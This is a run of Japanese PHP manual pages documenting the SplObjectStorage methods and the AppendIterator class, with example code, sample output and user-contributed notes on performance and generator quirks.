    [17] => offsetUnset
    [18] => offsetGet
)


イテレータの現在位置を返す

  • ≪ SplObjectStorage::getInfo
  • SplObjectStorage::next ≫
  • PHP Manual
  • SplObjectStorage
  • イテレータの現在位置を返す

SplObjectStorage::key

(PHP 5 >= 5.1.0, PHP 7)

SplObjectStorage::key — イテレータの現在位置を返す

説明

public SplObjectStorage::key ( ) : int

イテレータの現在位置を返します。

パラメータ

この関数にはパラメータはありません。

返り値

イテレータの現在位置に対応するインデックスを返します。

例

例1 SplObjectStorage::key() の例

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // current($s) と同等

    var_dump($index);
    var_dump($object);
    $s->next();
}
?>

上の例の出力は、 たとえば以下のようになります。

int(0)
object(stdClass)#2 (0) {
}
int(1)
object(stdClass)#3 (0) {
}

参考

  • SplObjectStorage::rewind() - イテレータをストレージの最初の要素に巻き戻す
  • SplObjectStorage::current() - 現在のストレージの要素を返す
  • SplObjectStorage::next() - 次のエントリに移動する
  • SplObjectStorage::valid() - イテレータの現在のエントリが有効かどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


次のエントリに移動する

  • ≪ SplObjectStorage::key
  • SplObjectStorage::offsetExists ≫
  • PHP Manual
  • SplObjectStorage
  • 次のエントリに移動する

SplObjectStorage::next

(PHP 5 >= 5.1.0, PHP 7)

SplObjectStorage::next — 次のエントリに移動する

説明

public SplObjectStorage::next ( ) : void

イテレータを、ストレージ内の次のオブジェクトに移動します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 SplObjectStorage::next() の例

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // current($s) と同等

    var_dump($index);
    var_dump($object);
    $s->next();
}
?>

上の例の出力は、 たとえば以下のようになります。

int(0)
object(stdClass)#2 (0) {
}
int(1)
object(stdClass)#3 (0) {
}

参考

  • SPLObjectStorage::rewind() - イテレータをストレージの最初の要素に巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトがストレージ内に存在するかどうかを調べる

  • ≪ SplObjectStorage::next
  • SplObjectStorage::offsetGet ≫
  • PHP Manual
  • SplObjectStorage
  • オブジェクトがストレージ内に存在するかどうかを調べる

SplObjectStorage::offsetExists

(PHP 5 >= 5.3.0, PHP 7)

SplObjectStorage::offsetExists — オブジェクトがストレージ内に存在するかどうかを調べる

説明

public SplObjectStorage::offsetExists ( object $object ) : bool

オブジェクトがストレージ内に存在するかどうかを調べます。

注意:

SplObjectStorage::offsetExists() は、SplObjectStorage::contains() のエイリアスです。

パラメータ

object

探したいオブジェクト。

返り値

object がストレージ内に存在する場合に true、 それ以外の場合に false を返します。

例

例1 SplObjectStorage::offsetExists() の例

<?php
$s = new SplObjectStorage;
$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1);

var_dump($s->offsetExists($o1)); // isset($s[$o1]) と同等
var_dump($s->offsetExists($o2)); // isset($s[$o2]) と同等
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(false)

参考

  • SplObjectStorage::offsetSet() - ストレージ内のオブジェクトにデータを関連づける
  • SplObjectStorage::offsetGet() - オブジェクトに関連づけられたデータを返す
  • SplObjectStorage::offsetUnset() - ストレージからオブジェクトを取り除く

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトに関連づけられたデータを返す

  • ≪ SplObjectStorage::offsetExists
  • SplObjectStorage::offsetSet ≫
  • PHP Manual
  • SplObjectStorage
  • オブジェクトに関連づけられたデータを返す

SplObjectStorage::offsetGet

(PHP 5 >= 5.3.0, PHP 7)

SplObjectStorage::offsetGet — オブジェクトに関連づけられたデータを返す

説明

public SplObjectStorage::offsetGet ( object $object ) : mixed

ストレージ内のオブジェクトに関連づけられたデータを返します。

パラメータ

object

探したいオブジェクト。

返り値

ストレージ内のオブジェクトに関連づけられたデータを返します。

エラー / 例外

object が見つからないときに UnexpectedValueException をスローします。

例

例1 SplObjectStorage::offsetGet() の例

<?php
$s = new SplObjectStorage;

$o1 = new StdClass;
$o2 = new StdClass;

$s[$o1] = "hello";
$s->attach($o2);

var_dump($s->offsetGet($o1)); // $s[$o1] と同等
var_dump($s->offsetGet($o2)); // $s[$o2] と同等
?>

上の例の出力は、 たとえば以下のようになります。

string(5) "hello"
NULL

参考

  • SplObjectStorage::offsetSet() - ストレージ内のオブジェクトにデータを関連づける
  • SplObjectStorage::offsetExists() - オブジェクトがストレージ内に存在するかどうかを調べる
  • SplObjectStorage::offsetUnset() - ストレージからオブジェクトを取り除く

User Contributed Notes

acgrid 03-Jun-2016 06:58
The performance of SplObjectStorage in PHP7.0.7 has boosted a lot.

SplObjectStorage
double(1.3110690116882)
[object_hash => value]
double(2.4147419929504)
kontrollfreak+php at gmail dot com 10-Jul-2015 01:47
SplObjectStorage::offsetGet() can become EXTREMELY slow depending on the associated data (PHP 5.6).

<?php

// SplObjectStorage
$object = new stdClass;
$test = new SplObjectStorage;
$test->attach($object, str_repeat("\0", 1024*1024));
$start = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    $test->offsetGet($object);
}
var_dump(microtime(true) - $start); // 76 seconds!

// Array + spl_object_hash()
$object = new stdClass;
$test = [];
$test[spl_object_hash($object)] =  str_repeat("\0", 1024*1024);
$start = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    $temp = $test[spl_object_hash($object)];
}
var_dump(microtime(true) - $start); // 0.3 seconds


ストレージ内のオブジェクトにデータを関連づける

  • ≪ SplObjectStorage::offsetGet
  • SplObjectStorage::offsetUnset ≫
  • PHP Manual
  • SplObjectStorage
  • ストレージ内のオブジェクトにデータを関連づける

SplObjectStorage::offsetSet

(PHP 5 >= 5.3.0, PHP 7)

SplObjectStorage::offsetSet — ストレージ内のオブジェクトにデータを関連づける

説明

public SplObjectStorage::offsetSet ( object $object , mixed $data = null ) : void

ストレージ内のオブジェクトにデータを関連づけます。

注意:

SplObjectStorage::offsetSet() は、 SplObjectStorage::attach() のエイリアスです。

パラメータ

object

データを関連づけたいオブジェクト。

data

object に関連づけるデータ。

返り値

値を返しません。

例

例1 SplObjectStorage::offsetSet() の例

<?php
$s = new SplObjectStorage;

$o1 = new StdClass;

$s->offsetSet($o1, "hello"); // $s[$o1] = "hello"; と同等

var_dump($s[$o1]);
?>

上の例の出力は、 たとえば以下のようになります。

string(5) "hello"

参考

  • SplObjectStorage::attach() - オブジェクトをストレージに追加する
  • SplObjectStorage::offsetGet() - オブジェクトに関連づけられたデータを返す
  • SplObjectStorage::offsetExists() - オブジェクトがストレージ内に存在するかどうかを調べる
  • SplObjectStorage::offsetUnset() - ストレージからオブジェクトを取り除く

User Contributed Notes

There are no user contributed notes for this page.


ストレージからオブジェクトを取り除く

  • ≪ SplObjectStorage::offsetSet
  • SplObjectStorage::removeAll ≫
  • PHP Manual
  • SplObjectStorage
  • ストレージからオブジェクトを取り除く

SplObjectStorage::offsetUnset

(PHP 5 >= 5.3.0, PHP 7)

SplObjectStorage::offsetUnset — ストレージからオブジェクトを取り除く

説明

public SplObjectStorage::offsetUnset ( object $object ) : void

ストレージからオブジェクトを取り除きます。

注意:

SplObjectStorage::offsetUnset() は、 SplObjectStorage::detach() のエイリアスです。

パラメータ

object

取り除きたいオブジェクト。

返り値

値を返しません。

例

例1 SplObjectStorage::offsetUnset() の例

<?php
$o = new StdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->offsetUnset($o); // unset($s[$o]) と同等
var_dump(count($s));
?>

上の例の出力は、 たとえば以下のようになります。

int(1)
int(0)

参考

  • SplObjectStorage::offsetGet() - オブジェクトに関連づけられたデータを返す
  • SplObjectStorage::offsetSet() - ストレージ内のオブジェクトにデータを関連づける
  • SplObjectStorage::offsetExists() - オブジェクトがストレージ内に存在するかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


別のストレージに含まれているオブジェクトを現在のストレージから取り除く

  • ≪ SplObjectStorage::offsetUnset
  • SplObjectStorage::removeAllExcept ≫
  • PHP Manual
  • SplObjectStorage
  • 別のストレージに含まれているオブジェクトを現在のストレージから取り除く

SplObjectStorage::removeAll

(PHP 5 >= 5.3.0, PHP 7)

SplObjectStorage::removeAll — 別のストレージに含まれているオブジェクトを現在のストレージから取り除く

説明

public SplObjectStorage::removeAll ( SplObjectStorage $storage ) : void

別のストレージに含まれているオブジェクトを現在のストレージから取り除きます。

パラメータ

storage

取り除きたい要素を含むストレージ。

返り値

値を返しません。

例

例1 SplObjectStorage::removeAll() の例

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$a = new SplObjectStorage();
$a[$o1] = "foo";

$b = new SplObjectStorage();
$b[$o1] = "bar";
$b[$o2] = "gee";

var_dump(count($b));
$b->removeAll($a);
var_dump(count($b));
?>

上の例の出力は、 たとえば以下のようになります。

int(2)
int(1)

参考

  • SplObjectStorage::addAll() - 別のストレージからすべてのオブジェクトを追加する

User Contributed Notes

rafal dot wrzeszcz at wrzasq dot pl 22-May-2013 10:29
You can call:

$storage->removeAll($storage);

To remove all elements.


別のストレージに含まれているもの以外のすべてのオブジェクトを現在のストレージから取り除く

  • ≪ SplObjectStorage::removeAll
  • SplObjectStorage::rewind ≫
  • PHP Manual
  • SplObjectStorage
  • 別のストレージに含まれているもの以外のすべてのオブジェクトを現在のストレージから取り除く

SplObjectStorage::removeAllExcept

(PHP 5 >= 5.3.6, PHP 7)

SplObjectStorage::removeAllExcept — 別のストレージに含まれているもの以外のすべてのオブジェクトを現在のストレージから取り除く

説明

public SplObjectStorage::removeAllExcept ( SplObjectStorage $storage ) : void

別のストレージに含まれているもの以外のすべてのオブジェクトを現在のストレージから取り除きます。

パラメータ

storage

現在のストレージに残しておきたい要素を含むストレージ。

返り値

値を返しません。

例

例1 SplObjectStorage::removeAllExcept() の例

<?php
$a = (object) 'a';
$b = (object) 'b';
$c = (object) 'c';

$foo = new SplObjectStorage;
$foo->attach($a);
$foo->attach($b);

$bar = new SplObjectStorage;
$bar->attach($b);
$bar->attach($c);

$foo->removeAllExcept($bar);
var_dump($foo->contains($a));
var_dump($foo->contains($b));
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

hizer at hizercache dot com 06-Feb-2016 03:56
The example Kirk provided is not the best option, there's a method "removeAll" that you can pass the SplObjectStore itself, and as the name says, remove all stored objects.
kirk at wa dot net dot ua 21-Jun-2011 02:12
You may remove all elements by passing empty SplObjectStorage

$splStorage->removeAllExcept(new SplObjectStorage());


イテレータをストレージの最初の要素に巻き戻す

  • ≪ SplObjectStorage::removeAllExcept
  • SplObjectStorage::serialize ≫
  • PHP Manual
  • SplObjectStorage
  • イテレータをストレージの最初の要素に巻き戻す

SplObjectStorage::rewind

(PHP 5 >= 5.1.0, PHP 7)

SplObjectStorage::rewind — イテレータをストレージの最初の要素に巻き戻す

説明

public SplObjectStorage::rewind ( ) : void

イテレータをストレージの最初の要素に巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 SplObjectStorage::rewind() の例

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // current($s) と同等
    $data   = $s->getInfo();

    var_dump($object);
    var_dump($data);
    $s->next();
}
?>

上の例の出力は、 たとえば以下のようになります。

int(1)
int(0)

参考

  • SplObjectStorage::next() - 次のエントリに移動する

User Contributed Notes

There are no user contributed notes for this page.


ストレージをシリアライズする

  • ≪ SplObjectStorage::rewind
  • SplObjectStorage::setInfo ≫
  • PHP Manual
  • SplObjectStorage
  • ストレージをシリアライズする

SplObjectStorage::serialize

(PHP 5 >= 5.2.2, PHP 7)

SplObjectStorage::serialize — ストレージをシリアライズする

説明

public SplObjectStorage::serialize ( ) : string

ストレージの文字列表現を返します。

パラメータ

この関数にはパラメータはありません。

返り値

ストレージの文字列表現を返します。

例

例1 SplObjectStorage::serialize() の例

<?php
$s = new SplObjectStorage;
$o = new StdClass;
$s[$o] = "data";

echo $s->serialize()."\n";
?>

上の例の出力は、 たとえば以下のようになります。

x:i:1;O:8:"stdClass":0:{},s:4:"data";;m:a:0:{}

参考

  • SplObjectStorage::unserialize() - ストレージの文字列表現をアンシリアライズする

User Contributed Notes

There are no user contributed notes for this page.


イテレータの現在のエントリに関連づけるデータを設定する

  • ≪ SplObjectStorage::serialize
  • SplObjectStorage::unserialize ≫
  • PHP Manual
  • SplObjectStorage
  • イテレータの現在のエントリに関連づけるデータを設定する

SplObjectStorage::setInfo

(PHP 5 >= 5.3.0, PHP 7)

SplObjectStorage::setInfo — イテレータの現在のエントリに関連づけるデータを設定する

説明

public SplObjectStorage::setInfo ( mixed $data ) : void

イテレータが現在指しているオブジェクトにデータあるいは情報を関連づけます。

パラメータ

data

現在のイテレータのエントリに関連づけるデータ。

返り値

値を返しません。

例

例1 SplObjectStorage::setInfo() の例

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $s->setInfo("new");
    $s->next();
}
var_dump($s[$o1]);
var_dump($s[$o2]);
?>

上の例の出力は、 たとえば以下のようになります。

string(3) "new"
string(3) "new"

参考

  • SplObjectStorage::current() - 現在のストレージの要素を返す
  • SplObjectStorage::rewind() - イテレータをストレージの最初の要素に巻き戻す
  • SplObjectStorage::key() - イテレータの現在位置を返す
  • SplObjectStorage::next() - 次のエントリに移動する
  • SplObjectStorage::valid() - イテレータの現在のエントリが有効かどうかを返す
  • SplObjectStorage::getInfo() - イテレータの現在のエントリに関連づけられたデータを返す

User Contributed Notes

There are no user contributed notes for this page.


ストレージの文字列表現をアンシリアライズする

  • ≪ SplObjectStorage::setInfo
  • SplObjectStorage::valid ≫
  • PHP Manual
  • SplObjectStorage
  • ストレージの文字列表現をアンシリアライズする

SplObjectStorage::unserialize

(PHP 5 >= 5.2.2, PHP 7)

SplObjectStorage::unserialize — ストレージの文字列表現をアンシリアライズする

説明

public SplObjectStorage::unserialize ( string $serialized ) : void

ストレージのエントリをアンシリアライズし、現在のストレージに追加します。

パラメータ

serialized

ストレージをシリアライズしたもの。

返り値

値を返しません。

例

例1 SplObjectStorage::unserialize() の例

<?php
$s1 = new SplObjectStorage;
$s2 = new SplObjectStorage;
$o = new StdClass;
$s1[$o] = "data";

$s2->unserialize($s1->serialize());

var_dump(count($s2));
?>

上の例の出力は、 たとえば以下のようになります。

int(1)

参考

  • SplObjectStorage::serialize() - ストレージをシリアライズする

User Contributed Notes

There are no user contributed notes for this page.


イテレータの現在のエントリが有効かどうかを返す

  • ≪ SplObjectStorage::unserialize
  • イテレータ ≫
  • PHP Manual
  • SplObjectStorage
  • イテレータの現在のエントリが有効かどうかを返す

SplObjectStorage::valid

(PHP 5 >= 5.1.0, PHP 7)

SplObjectStorage::valid — イテレータの現在のエントリが有効かどうかを返す

説明

public SplObjectStorage::valid ( ) : bool

イテレータの現在のエントリが有効かどうかを返します。

パラメータ

この関数にはパラメータはありません。

返り値

イテレータのエントリが有効な場合に true、それ以外の場合に false を返します。

例

例1 SplObjectStorage::valid() の例

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    echo $s->key()."\n";
    $s->next();
}
?>

上の例の出力は、 たとえば以下のようになります。

0
1

参考

  • SplObjectStorage::current() - 現在のストレージの要素を返す
  • SplObjectStorage::getInfo() - イテレータの現在のエントリに関連づけられたデータを返す

User Contributed Notes

There are no user contributed notes for this page.


イテレータ

目次

  • AppendIterator
  • ArrayIterator
  • CachingIterator
  • CallbackFilterIterator
  • DirectoryIterator
  • EmptyIterator
  • FilesystemIterator
  • FilterIterator
  • GlobIterator
  • InfiniteIterator
  • IteratorIterator
  • LimitIterator
  • MultipleIterator
  • NoRewindIterator
  • ParentIterator
  • RecursiveArrayIterator
  • RecursiveCachingIterator
  • RecursiveCallbackFilterIterator
  • RecursiveDirectoryIterator
  • RecursiveFilterIterator
  • RecursiveIteratorIterator
  • RecursiveRegexIterator
  • RecursiveTreeIterator
  • RegexIterator

SPL にはイテレータが用意されており、オブジェクトを反復処理することができます。

SPL イテレータクラスツリー

  • ArrayIterator
    • RecursiveArrayIterator
  • EmptyIterator
  • IteratorIterator
    • AppendIterator
    • CachingIterator
      • RecursiveCachingIterator
    • FilterIterator
      • CallbackFilterIterator
        • RecursiveCallbackFilterIterator
      • RecursiveFilterIterator
        • ParentIterator
      • RegexIterator
        • RecursiveRegexIterator
    • InfiniteIterator
    • LimitIterator
    • NoRewindIterator
  • MultipleIterator
  • RecursiveIteratorIterator
    • RecursiveTreeIterator
  • DirectoryIterator (extends SplFileInfo)
    • FilesystemIterator
      • GlobIterator
      • RecursiveDirectoryIterator

User Contributed Notes

There are no user contributed notes for this page.


AppendIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

複数のイテレータをひとつひとつ処理するイテレータです。

クラス概要

AppendIterator extends IteratorIterator implements OuterIterator {
/* メソッド */
public __construct ( )
public append ( Iterator $iterator ) : void
public current ( ) : mixed
public getArrayIterator ( ) : ArrayIterator
public getInnerIterator ( ) : Iterator
public getIteratorIndex ( ) : int
public key ( ) : scalar
public next ( ) : void
public rewind ( ) : void
public valid ( ) : bool
/* 継承したメソッド */
public IteratorIterator::__construct ( Traversable $iterator )
public IteratorIterator::current ( ) : mixed
public IteratorIterator::getInnerIterator ( ) : Traversable
public IteratorIterator::key ( ) : mixed
public IteratorIterator::next ( ) : void
public IteratorIterator::rewind ( ) : void
public IteratorIterator::valid ( ) : bool
}

目次

  • AppendIterator::append — イテレータを追加する
  • AppendIterator::__construct — AppendIterator を作成する
  • AppendIterator::current — 現在の値を取得する
  • AppendIterator::getArrayIterator — ArrayIterator を取得する
  • AppendIterator::getInnerIterator — 内部イテレータを取得する
  • AppendIterator::getIteratorIndex — イテレータのインデックスを取得する
  • AppendIterator::key — 現在のキーを取得する
  • AppendIterator::next — 次の要素に移動する
  • AppendIterator::rewind — イテレータを巻き戻す
  • AppendIterator::valid — 現在の要素が有効かどうかを調べる

User Contributed Notes

php at seanmorr dot is 25-Mar-2020 10:18
joshdifabio is technically correct, but I don't see this as a bug. You can't rewind a generator and thats what append iterator does.

If you want to use AppendIterator with Generators just wrap them with NoRewindIterator:

<?php
function foo() {
        foreach ([] as $foo) {
                yield $foo;
        }
}
$append = new AppendIterator();
$append->append(new NoRewindIterator(foo()));

var_dump(iterator_to_array($append));

https://3v4l.org/pgiXB
frode at ennerd dot com 06-Sep-2018 08:22
In many cases, especially for streaming sources, Generators are way more efficient. I noticed that the AppendIterator buffers the entire "inner iterator".

<?php
/**
 * This appends $next iterator to $iterator.
 */
function append_iterators(...$iterators){
    foreach($iterators as $iterator)
        foreach($iterator as $row)
            yield($row);
}

/**
 * Merge iterator takes one first from each iterator until
 * every iterator is empty.
 */
function merge_iterators(....$its) {
    $numberOfIts = sizeof($its);
    while($numberOfIts > 0) {
        $iterator = array_shift($its);
        yield($iterator->current());
        $iterator->next();
        if($iterator->valid())
            $its[] = $iterator;
        else
            $numberOfIts--;
    }
});
?>
komalbarun at gmail dot com 16-Mar-2017 03:57
Updated code.
 I could not find how to edit a note :/

Preventing segfault if empty generator.
<?php

$append_iterator = new \AppendIterator();

$generator = some_generator();

// Only works if first value in generator is not empty
// useful when yielding arrays
foreach ($generator as $value)
{
    //If first $value not empty, generator is not empty.
    if(!empty($value))
    {
        $append_iterator->append($generator );
        //break out of loop after appending.
        break;
    }
}
komalbarun at gmail dot com 16-Mar-2017 03:52
Updated code.
 I could not find how to edit a note :/

Preventing segfault if empty generator.
<?php

$append_iterator = new \AppendIterator();

$generator = ReportModel::come_generator();

// Only works if first value in generator is not empty
// useful when yielding arrays
foreach ($append_iterator as $value)
{
    //If first $value not empty, generator is not empty.
    if(!empty($value))
    {
        $append_iterator->append($errors);
        //break out of loop after appending.
    break;
    }
}
koambarun at evolution dot com 16-Mar-2017 05:29
$append_iterator = new \AppendIterator();

$generator = ReportModel::come_generator();

foreach ($errors as $value)
{
    //If first $value not empty, generator is not empty.
    if(!empty($value))
    {
        $append_iterator->append($errors);
        //break out of loop after appending.
    break;
    }
}
joshdifabio at gmail dot com 15-Jun-2016 01:56
Note that AppendIterator will segfault when iterating over an empty generator. Do not use AppendIterator in conjunction with generators.

https://3v4l.org/YC68k

https://bugs.php.net/bug.php?id=71436


イテレータを追加する

  • ≪ AppendIterator
  • AppendIterator::__construct ≫
  • PHP Manual
  • AppendIterator
  • イテレータを追加する

AppendIterator::append

(PHP 5 >= 5.1.0, PHP 7)

AppendIterator::append — イテレータを追加する

説明

public AppendIterator::append ( Iterator $iterator ) : void

イテレータを追加します。

パラメータ

iterator

追加するイテレータ。

返り値

値を返しません。

例

例1 AppendIterator::append() の例

<?php
$array_a = new ArrayIterator(array('a', 'b', 'c'));
$array_b = new ArrayIterator(array('d', 'e', 'f'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

foreach ($iterator as $current) {
    echo $current;
}
?>

上の例の出力は以下となります。

abcdef

参考

  • AppendIterator::__construct() - AppendIterator を作成する

User Contributed Notes

There are no user contributed notes for this page.


AppendIterator を作成する

  • ≪ AppendIterator::append
  • AppendIterator::current ≫
  • PHP Manual
  • AppendIterator
  • AppendIterator を作成する

AppendIterator::__construct

(PHP 5 >= 5.1.0, PHP 7)

AppendIterator::__construct — AppendIterator を作成する

説明

public AppendIterator::__construct ( )

AppendIterator を作成します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 AppendIterator の foreach での使用例

<?php
$pizzas   = new ArrayIterator(array('Margarita', 'Siciliana', 'Hawaii'));
$toppings = new ArrayIterator(array('Cheese', 'Anchovies', 'Olives', 'Pineapple', 'Ham'));

$appendIterator = new AppendIterator;
$appendIterator->append($pizzas);
$appendIterator->append($toppings);

foreach ($appendIterator as $key => $item) {
    echo $key . ' => ' . $item . PHP_EOL;
}
?>

上の例の出力は以下となります。

0 => Margarita
1 => Siciliana
2 => Hawaii
0 => Cheese
1 => Anchovies
2 => Olives
3 => Pineapple
4 => Ham

例2 AppendIterator API による AppendIterator の処理

<?php
$pizzas   = new ArrayIterator(array('Margarita', 'Siciliana', 'Hawaii'));
$toppings = new ArrayIterator(array('Cheese', 'Anchovies', 'Olives', 'Pineapple', 'Ham'));

$appendIterator = new AppendIterator;
$appendIterator->append($pizzas);
$appendIterator->append($toppings);

while ($appendIterator->valid()) {
    printf(
        '%s => %s => %s%s',
        $appendIterator->getIteratorIndex(),
        $appendIterator->key(),
        $appendIterator->current(),
        PHP_EOL
    );
    $appendIterator->next();
}
?>

上の例の出力は以下となります。

0 => 0 => Margarita
0 => 1 => Siciliana
0 => 2 => Hawaii
1 => 0 => Cheese
1 => 1 => Anchovies
1 => 2 => Olives
1 => 3 => Pineapple
1 => 4 => Ham

注意

警告

iterator_to_array() を使って AppendIterator の値を配列にコピーするときは、 オプションの引数 use_key に false を指定しなければなりません。 use_key を false にしなければ、 内部イテレータに同名のキーが含まれていると 返される配列が上書きされてしまいます。 このときに元のキーの値を取得する方法はありません。

参考

  • AppendIterator::append() - イテレータを追加する

User Contributed Notes

There are no user contributed notes for this page.


現在の値を取得する

  • ≪ AppendIterator::__construct
  • AppendIterator::getArrayIterator ≫
  • PHP Manual
  • AppendIterator
  • 現在の値を取得する

AppendIterator::current

(PHP 5 >= 5.1.0, PHP 7)

AppendIterator::current — 現在の値を取得する

説明

public AppendIterator::current ( ) : mixed

現在の値を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

有効な状態の場合は現在の値、それ以外の場合は null を返します。

参考

  • Iterator::current() - 現在の要素を返す
  • AppendIterator::key() - 現在のキーを取得する
  • AppendIterator::valid() - 現在の要素が有効かどうかを調べる
  • AppendIterator::next() - 次の要素に移動する
  • AppendIterator::rewind() - イテレータを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


ArrayIterator を取得する

  • ≪ AppendIterator::current
  • AppendIterator::getInnerIterator ≫
  • PHP Manual
  • AppendIterator
  • ArrayIterator を取得する

AppendIterator::getArrayIterator

(PHP 5 >= 5.2.0, PHP 7)

AppendIterator::getArrayIterator — ArrayIterator を取得する

説明

public AppendIterator::getArrayIterator ( ) : ArrayIterator

このメソッドは ArrayIterator を取得します。ここに、 AppendIterator::append() で追加したイテレータを格納します。

パラメータ

この関数にはパラメータはありません。

返り値

追加したイテレータを含む ArrayIterator を返します。

参考

  • AppendIterator::getInnerIterator() - 内部イテレータを取得する

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータを取得する

  • ≪ AppendIterator::getArrayIterator
  • AppendIterator::getIteratorIndex ≫
  • PHP Manual
  • AppendIterator
  • 内部イテレータを取得する

AppendIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7)

AppendIterator::getInnerIterator — 内部イテレータを取得する

説明

public AppendIterator::getInnerIterator ( ) : Iterator

現在の内部イテレータを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の内部イテレータを返します。存在しない場合は null を返します。

例

例1 AppendIterator::getInnerIterator() の例

<?php
$array_a = new ArrayIterator(array('a' => 'aardwolf', 'b' => 'bear', 'c' => 'capybara'));
$array_b = new RegexIterator($array_a, '/^[ac]/');

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

foreach ($iterator as $current) {
    $inner = $iterator->getInnerIterator();
    if ($inner instanceOf RegexIterator) {
        echo 'Filtered: ';
    } else {
        echo 'Original: ';
    }
    echo $current . PHP_EOL;
}
?>

上の例の出力は以下となります。

Original: aardwolf
Original: bear
Original: capybara
Filtered: aardwolf
Filtered: capybara

参考

  • AppendIterator::getIteratorIndex() - イテレータのインデックスを取得する

User Contributed Notes

There are no user contributed notes for this page.


イテレータのインデックスを取得する

  • ≪ AppendIterator::getInnerIterator
  • AppendIterator::key ≫
  • PHP Manual
  • AppendIterator
  • イテレータのインデックスを取得する

AppendIterator::getIteratorIndex

(PHP 5 >= 5.2.0, PHP 7)

AppendIterator::getIteratorIndex — イテレータのインデックスを取得する

説明

public AppendIterator::getIteratorIndex ( ) : int

現在の内部イテレータのインデックスを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の内部イテレータのインデックス (最初はゼロ) を整数値で返します。

例

例1 AppendIterator.getIteratorIndex() の基本的な例

<?php
$array_a = new ArrayIterator(array('a' => 'aardwolf', 'b' => 'bear', 'c' => 'capybara'));
$array_b = new ArrayIterator(array('apple', 'orange', 'lemon'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

foreach ($iterator as $key => $current) {
    echo $iterator->getIteratorIndex() . '  ' . $key . ' ' . $current . PHP_EOL;
}
?>

上の例の出力は以下となります。

0  a aardwolf
0  b bear
0  c capybara
1  0 apple
1  1 orange
1  2 lemon

参考

  • AppendIterator::getInnerIterator() - 内部イテレータを取得する
  • AppendIterator::getArrayIterator() - ArrayIterator を取得する

User Contributed Notes

There are no user contributed notes for this page.


現在のキーを取得する

  • ≪ AppendIterator::getIteratorIndex
  • AppendIterator::next ≫
  • PHP Manual
  • AppendIterator
  • 現在のキーを取得する

AppendIterator::key

(PHP 5 >= 5.1.0, PHP 7)

AppendIterator::key — 現在のキーを取得する

説明

public AppendIterator::key ( ) : scalar

現在のキーを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

有効な状態の場合は現在のキー、それ以外の場合は null を返します。

例

例1 AppendIterator::key() の基本的な例

<?php
$array_a = new ArrayIterator(array('a' => 'aardwolf', 'b' => 'bear', 'c' => 'capybara'));
$array_b = new ArrayIterator(array('apple', 'orange', 'lemon'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

// Manual iteration
$iterator->rewind();
while ($iterator->valid()) {
    echo $iterator->key() . ' ' . $iterator->current() . PHP_EOL;
    $iterator->next();
}

echo PHP_EOL;

// With foreach
foreach ($iterator as $key => $current) {
    echo $key . ' ' . $current . PHP_EOL;
}
?>

上の例の出力は以下となります。

a aardwolf
b bear
c capybara
0 apple
1 orange
2 lemon

a aardwolf
b bear
c capybara
0 apple
1 orange
2 lemon

参考

  • AppendIterator::current() - 現在の値を取得する

User Contributed Notes

There are no user contributed notes for this page.


次の要素に移動する

  • ≪ AppendIterator::key
  • AppendIterator::rewind ≫
  • PHP Manual
  • AppendIterator
  • 次の要素に移動する

AppendIterator::next

(PHP 5 >= 5.1.0, PHP 7)

AppendIterator::next — 次の要素に移動する

説明

public AppendIterator::next ( ) : void

次の要素に移動します。もし別のイテレータに移動する場合は、そのイテレータを巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • Iterator::next() - 次の要素に進む
  • AppendIterator::current() - 現在の値を取得する
  • AppendIterator::key() - 現在のキーを取得する
  • AppendIterator::valid() - 現在の要素が有効かどうかを調べる
  • AppendIterator::rewind() - イテレータを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


イテレータを巻き戻す

  • ≪ AppendIterator::next
  • AppendIterator::valid ≫
  • PHP Manual
  • AppendIterator
  • イテレータを巻き戻す

AppendIterator::rewind

(PHP 5 >= 5.1.0, PHP 7)

AppendIterator::rewind — イテレータを巻き戻す

説明

public AppendIterator::rewind ( ) : void

最初の内部イテレータの最初の要素まで巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

